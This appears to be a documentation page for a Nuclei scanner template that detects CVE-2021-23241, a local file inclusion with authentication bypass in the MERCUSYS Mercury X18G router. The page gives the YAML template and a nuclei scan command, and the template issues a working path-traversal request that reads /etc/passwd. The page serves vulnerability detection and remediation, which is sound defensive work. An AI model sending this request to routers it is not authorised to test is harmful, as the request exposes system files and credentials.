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MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion

ID: CVE-2021-23241

Severity: medium

Author: daffainfo

Tags: cve2021,cve,iot,lfi,router,mercusys

Description

Section titled “Description”

MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.

YAML Source

Section titled “YAML Source”
id: CVE-2021-23241


info:
  name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
  reference:
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://www.mercusys.com/en/
    - https://www.mercurycom.com.cn/product-521-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-23241
    cwe-id: CWE-22
    epss-score: 0.00365
    epss-percentile: 0.71874
    cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mercusys
    product: mercury_x18g_firmware
  tags: cve2021,cve,iot,lfi,router,mercusys


http:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-23241.yaml"

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